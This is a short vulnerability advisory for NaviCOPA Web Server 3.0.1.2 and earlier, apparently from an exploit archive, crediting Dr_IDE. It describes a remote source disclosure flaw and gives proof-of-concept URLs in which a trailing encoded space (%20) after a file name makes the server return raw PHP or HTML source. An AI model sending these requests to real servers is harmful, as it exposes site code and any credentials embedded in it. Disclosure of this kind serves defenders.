NaviCOPA versions 3.0.1.2 and below suffer from a remote source disclosure vulnerability.
3fc6e9da9a800d9bf3d42dbffadb1678a521d4c9617fb7f80e73ec9f6667301f
################################################
#
# NaviCOPA Web Server <= 3.0.1.2 Remote Source Disclosure
# Found By: Dr_IDE
# Tested On: Windows XPSP3
# Download: www.navicopa.com/download.html
#
################################################
- Description -
NaviCOPA Web Server <= 3.0.1.2 is a Windows based HTTP server. This is the latest
version of the application available.
NaviCOPA is vulnerable to remote arbitrary source code disclosure by the
following means.
- Technical Details -
http://[ webserver IP]/[ file ][%20]
http://172.16.2.101/index.html%20
http://172.16.2.101/index.php%20
[pocoftheday.blogspot.com]